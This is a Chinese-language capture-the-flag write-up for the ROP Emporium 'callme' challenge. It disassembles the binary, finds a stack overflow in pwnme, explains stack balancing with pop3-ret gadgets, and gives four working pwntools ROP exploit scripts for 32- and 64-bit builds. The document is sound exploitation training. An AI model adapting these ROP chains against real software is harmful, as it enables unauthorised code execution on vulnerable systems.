Challenge3_callme

callme

题目链接:https://ropemporium.com/challenge/callme.html

x86

根据提示可以知道,这次需要我们构造一个连续调用函数的ROP链。我们需要注意在32位环境下pop 3ret这种情况,来进行堆栈平衡。提示中告诉我们要依次调用call_one()call_two()call_three()这三个函数,每一个函数的参数均为0xdeadbeef, 0xcafebabe, 0xd00df00d,eg.call_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)我们需要构造一个依次调用这三个函数的ROP链。

首先,照例查看保护情况:

1
2
3
4
5
6
7
8
$ checksec ./callme32 
[*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level3_callme/32/callme32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: '.'

这里看别人的write up都关注了一下PIE,暂时先不管,以后再回来说。

题目给了.so文件,使用ldd查看下依赖库:

1
2
3
4
5
$ ldd ./callme32 
linux-gate.so.1 => (0xf7fb4000)
libcallme32.so => ./libcallme32.so (0xf7fad000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ddc000)
/lib/ld-linux.so.2 (0xf7fb6000)

确实用到了提供的库(废话,这不是肯定的嘛)

接下来我们看下用到了程序里的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ r2 -A ./callme32 
[0x08048570]> afl
0x08048570 1 50 entry0
0x080485a3 1 4 fcn.080485a3
0x08048520 1 6 sym.imp.__libc_start_main
0x0804848c 3 35 sym._init
0x080485c0 1 4 sym.__x86.get_pc_thunk.bx
0x08048560 1 6 sym..plt.got
0x08048804 1 20 sym._fini
0x080485d0 4 41 sym.deregister_tm_clones
0x08048610 4 54 sym.register_tm_clones
0x08048650 3 31 sym.__do_global_dtors_aux
0x08048680 1 6 sym.frame_dummy
0x080486ed 1 98 sym.pwnme
0x08048540 1 6 sym.imp.memset
0x08048500 1 6 sym.imp.puts
0x080484d0 1 6 sym.imp.printf
0x080484c0 1 6 sym.imp.read
0x0804874f 1 67 sym.usefulFunction
0x080484e0 1 6 sym.imp.callme_three
0x08048550 1 6 sym.imp.callme_two
0x080484f0 1 6 sym.imp.callme_one
0x08048510 1 6 sym.imp.exit
0x08048800 1 2 sym.__libc_csu_fini
0x080487a0 4 93 sym.__libc_csu_init
0x080485b0 1 2 sym._dl_relocate_static_pie
0x08048686 1 103 main
0x08048530 1 6 sym.imp.setvbuf

其中带有imp的(即imports)就是从外部导入的函数,也可以通过ii命令或者rabin2 -i ./callme来查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[0x08048570]> ii
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x080484c0 GLOBAL FUNC read
2 0x080484d0 GLOBAL FUNC printf
3 0x080484e0 GLOBAL FUNC callme_three
4 0x080484f0 GLOBAL FUNC callme_one
5 0x08048500 GLOBAL FUNC puts
6 0x00000560 WEAK NOTYPE __gmon_start__
7 0x08048510 GLOBAL FUNC exit
8 0x08048520 GLOBAL FUNC __libc_start_main
9 0x08048530 GLOBAL FUNC setvbuf
10 0x08048540 GLOBAL FUNC memset
11 0x08048550 GLOBAL FUNC callme_two

可以看到callme_onecallme_twocallme_three都是外部导入,其实也就是libcallme32.so中的函数。


其实我们不用具体看这三个函数是干什么的,也可以做。这里我们在libcallme32.so中查看这三个函数的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ r2 -A libcallme32.so
[0x00000540]> afl
0x00000540 1 4 entry0
0x00000755 11 256 sym.callme_two
0x00000510 1 6 sym.imp.fopen
0x000004f0 1 6 sym.imp.puts
0x00000500 1 6 sym.imp.exit
0x00000520 1 6 sym.imp.fgetc
0x00000484 3 35 sym._init
0x00000538 1 6 fcn.00000538
0x000009ec 1 20 sym._fini
0x00000855 10 406 sym.callme_three
0x0000063d 10 280 sym.callme_one
0x000004e0 1 6 sym.imp.malloc
0x000004c0 1 6 sym.imp.fgets
0x000004d0 1 6 sym.imp.fclose
0x00000550 4 53 sym.deregister_tm_clones
0x00000639 1 4 sym.__x86.get_pc_thunk.dx
0x00000590 4 71 sym.register_tm_clones
0x000005e0 5 71 sym.__do_global_dtors_aux
0x00000530 1 6 sym..plt.got
0x00000630 1 9 sym.frame_dummy
0x00000000 8 332 loc.imp._ITM_deregisterTMCloneTable

从中我们也能看到callme_onecallme_twocallme_three

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[0x00000540]> s sym.callme_one 
[0x0000063d]> pdg

// WARNING: Variable defined which should be unmapped: var_4h

void sym.callme_one(int32_t arg_8h, int32_t arg_ch, int32_t arg_10h)

{
int32_t iVar1;
uint uVar2;
int32_t unaff_EBX;
uint stream;
uint var_4h;

entry0();
if (((arg_8h != -0x21524111) || (arg_ch != -0x35014542)) || (arg_10h != -0x2ff20ff3)) {
sym.imp.puts(unaff_EBX + 0x429);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
iVar1 = sym.imp.fopen(unaff_EBX + 0x3b9, unaff_EBX + 0x3b7);
if (iVar1 == 0) {
sym.imp.puts(unaff_EBX + 0x3cf);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
uVar2 = sym.imp.malloc(0x21);
*(unaff_EBX + 0x19e7) = uVar2;
if (*(unaff_EBX + 0x19e7) == 0) {
sym.imp.puts(unaff_EBX + 0x3f1);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
uVar2 = sym.imp.fgets(*(unaff_EBX + 0x19e7), 0x21, iVar1);
*(unaff_EBX + 0x19e7) = uVar2;
sym.imp.fclose(iVar1);
sym.imp.puts(unaff_EBX + 0x40b);
return;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[0x0000063d]> s sym.callme_two 
[0x00000755]> pdg

// WARNING: Variable defined which should be unmapped: var_8h

void sym.callme_two(int32_t arg_8h, int32_t arg_ch, int32_t arg_10h)

{
uint8_t uVar1;
int32_t iVar2;
int32_t unaff_EBX;
int32_t var_10h;
uint stream;
uint var_8h;

entry0();
if (((arg_8h == -0x21524111) && (arg_ch == -0x35014542)) && (arg_10h == -0x2ff20ff3)) {
iVar2 = sym.imp.fopen(unaff_EBX + 0x325, unaff_EBX + 0x29e);
if (iVar2 == 0) {
sym.imp.puts(unaff_EBX + 0x32e);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
for (var_10h = 0; var_10h < 0x10; var_10h = var_10h + 1) {
uVar1 = sym.imp.fgetc(iVar2);
*(var_10h + *(unaff_EBX + 0x18ce)) = uVar1 ^ *(var_10h + *(unaff_EBX + 0x18ce));
}
sym.imp.puts(unaff_EBX + 0x346);
return;
}
sym.imp.puts(unaff_EBX + 0x310);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[0x00000755]> s sym.callme_three 
[0x00000855]> pdg

void sym.callme_three noreturn (int32_t arg_8h, int32_t arg_ch, int32_t arg_10h)

{
uint8_t uVar1;
int32_t iVar2;
int32_t unaff_EBX;
int32_t var_10h;
uint stream;

entry0();
if (((arg_8h == -0x21524111) && (arg_ch == -0x35014542)) && (arg_10h == -0x2ff20ff3)) {
iVar2 = sym.imp.fopen(unaff_EBX + 0x264, unaff_EBX + 0x19e);
if (iVar2 == 0) {
sym.imp.puts(unaff_EBX + 0x26d);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
for (var_10h = 0x10; var_10h < 0x20; var_10h = var_10h + 1) {
uVar1 = sym.imp.fgetc(iVar2);
*(var_10h + *(unaff_EBX + 0x17ce)) = uVar1 ^ *(var_10h + *(unaff_EBX + 0x17ce));
}
*(*(unaff_EBX + 0x17ce) + 4) = *(*(unaff_EBX + 0x17ce) + 4) ^ 0xdeadbeef;
*(*(unaff_EBX + 0x17ce) + 8) = *(*(unaff_EBX + 0x17ce) + 8) ^ 0xdeadbeef;
*(*(unaff_EBX + 0x17ce) + 0xc) = *(*(unaff_EBX + 0x17ce) + 0xc) ^ 0xcafebabe;
*(*(unaff_EBX + 0x17ce) + 0x10) = *(*(unaff_EBX + 0x17ce) + 0x10) ^ 0xcafebabe;
*(*(unaff_EBX + 0x17ce) + 0x14) = *(*(unaff_EBX + 0x17ce) + 0x14) ^ 0xd00df00d;
*(*(unaff_EBX + 0x17ce) + 0x18) = *(*(unaff_EBX + 0x17ce) + 0x18) ^ 0xd00df00d;
sym.imp.puts(*(unaff_EBX + 0x17ce));
// WARNING: Subroutine does not return
sym.imp.exit(0);
}
sym.imp.puts(unaff_EBX + 0x210);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}

根据反编译得到的伪码,可以大致推断出这三个函数的功能

callme_one:读取加密的flag;callme_two:解密0-15,前16个字节;callme_three:解密16-31,后16个字节。

通过xxd也可以看到加密后的flag确实是32字节

1
2
3
$ xxd encrypted_flag.dat 
00000000: 534d 5341 91d9 f5a6 8ad5 c5b7 dbdb 9dbe SMSA............
00000010: cada b2ed 2a84 63bc 71b5 70a0 7c79 3e5d ....*.c.q.p.|y>]

查看pwnme函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[0x08048570]> s sym.pwnme
[0x080486ed]> pdg

void sym.pwnme(void)

{
uint s;

sym.imp.memset(&s, 0, 0x20);
sym.imp.puts("Hope you read the instructions...\n");
sym.imp.printf(0x804886b);
sym.imp.read(0, &s, 0x200);
sym.imp.puts("Thank you!");
return;
}

很明显可以看到read函数处存在栈溢出,偏移量计算得为44。

我还在看下usefulFunction函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[0x080486ed]> s sym.usefulFunction 
[0x0804874f]> pdg

void sym.usefulFunction(void)

{
int32_t unaff_EBX;
int32_t iVar1;
uint uVar2;
uint uVar3;
uint uStack16;

sym.imp.callme_three(4, 5, 6);
sym.imp.callme_two(4, 5, 6);
uVar3 = 6;
uVar2 = 5;
sym.imp.callme_one(4, 5, 6);
sym.imp.exit(1);
sym.__x86.get_pc_thunk.bx();
sym._init();
iVar1 = 0;
do {
(**(unaff_EBX + 0x1753 + iVar1 * 4))(uVar2, uVar3, uStack16);
iVar1 = iVar1 + 1;
} while (iVar1 != 1);
return;
}

可以看到函数内部调用了callme_onecallme_twocallme_three这三个函数,但是它的调用顺序跟提示的顺序刚好反过来了,所以,并不能直接覆盖返回地址到usefulFunction函数,看起来也不是那么的useful,还是需要我们手动构建ROP链。

需要注意的是,在32位环境下,多次调用libc里的带有多个参数的函数,我们需要使用pop3 ret方法。

举个栗子!

假设我们要连续调用read(fd1,buf1,size1)write(fd2,buf2,size2)两个函数调用,就不能按照平常的方式布置ROP,即直接将write函数的地址覆盖到预留返回地址处,这样的话,两个函数的参数会发生重叠,如图所示:

pwn学习.drawio

所以我们要通过能够移动esp指针的gadgets来消除read函数的参数,例如:

1
2
3
pop edi ; pop esi ; pop ebx ; ret
add esp 8 ; pop ebx ; ret
···

我们把上述描述的类似第一行的3个pop指令的gadgets统称为pop3 ret,即移动esp指针消去三个参数,再返回执行后续的函数,如图所示:

pop3ret

通过上图所示的ROP布局,我们就能实现连续调用readwrite函数,pop3 ret可以在read/write函数返回时,清理栈上的参数,进而触发下一次调用。

2个参数的libc函数可以使用pop2 ret

1个参数的libc函数可以使用pop ret

更多具体内容参考这篇博客

再回到我们这道题中,我们需要连续三次调用callme_onecallme_two callme_three这三个函数,每个函数都有三个参数,所以我们需要找到pop3 ret这种类型的gadgets

1
2
3
4
5
6
7
8
9
10
11
12
$ ROPgadget --binary callme32 --only "pop|ret"
Gadgets information
============================================================
0x080487fb : pop ebp ; ret
0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484ad : pop ebx ; ret
0x080487fa : pop edi ; pop ebp ; ret
0x080487f9 : pop esi ; pop edi ; pop ebp ; ret
0x08048496 : ret
0x0804861e : ret 0xeac1

Unique gadgets found: 7

可以看到地址0x080487f9处的gadgets满足要求。其实也可以使用add esp这种类型的gadgets,只要能够移动esp指针消去栈上的参数都可以。

1
2
3
4
5
6
7
8
9
10
11
pwndbg> rop --grep "add esp"
0x080484a8 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080485f2 : add esp, 0x10 ; leave ; ret
0x08048749 : add esp, 0x10 ; nop ; leave ; ret
0x080487f5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484aa : add esp, 8 ; pop ebx ; ret
0x080487f3 : jne 0x80487e1 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080485ed : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x0804863a : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x080484a6 : mov dh, 0 ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048810 : pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret

可以看到0x080484aa地址处的gadgets也能移动esp指针,并且刚好消去三个参数。

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

p = process('./callme32')
e = ELF('./callme32')

pwnme_addr = p32(e.symbols["pwnme"])
callme_one = p32(e.plt["callme_one"])
callme_two = p32(e.plt["callme_two"])
callme_three = p32(e.plt["callme_three"])

arg1 = p32(0xdeadbeef)
arg2 = p32(0xcafebabe)
arg3 = p32(0xd00df00d)

offset = 44

add_esp = p32(0x080484aa)# add esp, 8 ; pop ebx ; ret
#stack balance ; clear three args of call_x function
add_esp = p32(0x080487f9)# pop3 ret: pop esi ; pop edi ; pop ebp ; ret

payload = offset*b'A'
payload+= callme_one
payload+= add_esp
payload+= arg1+arg2+arg3
payload+= callme_two
payload+= add_esp
payload+= arg1+arg2+arg3
payload+= callme_three
payload+= add_esp
payload+= arg1+arg2+arg3

p.sendline(payload)
p.interactive()

执行结果如下:

image-20230313201914238

解法2:构造二次溢出

这个解法是当时没搞明白怎么连续调用libc函数的时候想的办法,既然一次不能调用多个函数,那就进行多次调用,每次调用一个函数。

思路:在预留返回地址处,将其覆盖为存在缓冲区漏洞的pwnme函数的地址,这样等到程序返回时会再次执行pwnme函数,我们再重新发送一次payload来调用其余的函数,重复直到三个callme函数全部调用完。

完整的expploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

p = process('./callme32')
e = ELF('./callme32')

pwnme_addr = p32(e.symbols["pwnme"])
callme_one = p32(e.plt["callme_one"])
callme_two = p32(e.plt["callme_two"])
callme_three = p32(e.plt["callme_three"])

arg1 = p32(0xdeadbeef)
arg2 = p32(0xcafebabe)
arg3 = p32(0xd00df00d)

# print(pwnme_addr)

offset = 44

payload1 = offset*b'A' + callme_one + pwnme_addr + arg1 + arg2 + arg3

p.sendline(payload1)
payload2 = offset*b'A' + callme_two + pwnme_addr + arg1 +arg2 +arg3
p.sendline(payload2)
payload3 = offset*b'A' + callme_three + p32(1) + arg1 +arg2 +arg3
p.sendline(payload3)

p.interactive()

执行结果如下:

image-20230313202037300

注意:这种构造二次溢出的方法,并不是通解,有时会受到一些限制,比如会漏掉一些堆栈平衡的操作导致偏移量变化。要根据实际情况来使用,可以当作一种拓展思路。

x64

64位道理相同,但是由于参数传递方式发生变化,前6个参数通过寄存器传递,消去参数比较容易理解,即调用pop3 ret重新给寄存器赋值,覆盖掉上边的值就可。

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

p = process('./callme')
e = ELF('./callme')

callme_one = p64(e.plt["callme_one"])
callme_two = p64(e.plt["callme_two"])
callme_three = p64(e.plt["callme_three"])

pop_rdi_rsi_rdx_ret = p64(0x000000000040093c)

arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)

offset = 40

payload = offset*b'A'
payload+= pop_rdi_rsi_rdx_ret
payload+= arg1 + arg2 + arg3
payload+= callme_one

payload+= pop_rdi_rsi_rdx_ret
payload+= arg1 + arg2 + arg3
payload+= callme_two

payload+= pop_rdi_rsi_rdx_ret
payload+= arg1 + arg2 + arg3
payload+= callme_three

p.sendline(payload)

p.interactive()

解法2:构造二次溢出

同样,也可以通过构造二次溢出的方法解决

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

p = process('./callme')
e = ELF('./callme')

pwnme_addr = p64(e.symbols["pwnme"])
callme_one = p64(e.plt["callme_one"])
callme_two = p64(e.plt["callme_two"])
callme_three = p64(e.plt["callme_three"])

pop_rdi_rsi_rdx_ret = p64(0x000000000040093c)

arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)


offset = 40

payload1 = offset*b'A' + pop_rdi_rsi_rdx_ret + arg1 + arg2 + arg3 + callme_one + pwnme_addr

p.sendline(payload1)
payload2 = offset*b'A' + pop_rdi_rsi_rdx_ret + arg1 + arg2 + arg3 + callme_two + pwnme_addr
p.sendline(payload2)
payload3 = offset*b'A' + pop_rdi_rsi_rdx_ret + arg1 + arg2 + arg3 + callme_three + pwnme_addr
p.sendline(payload3)

p.interactive()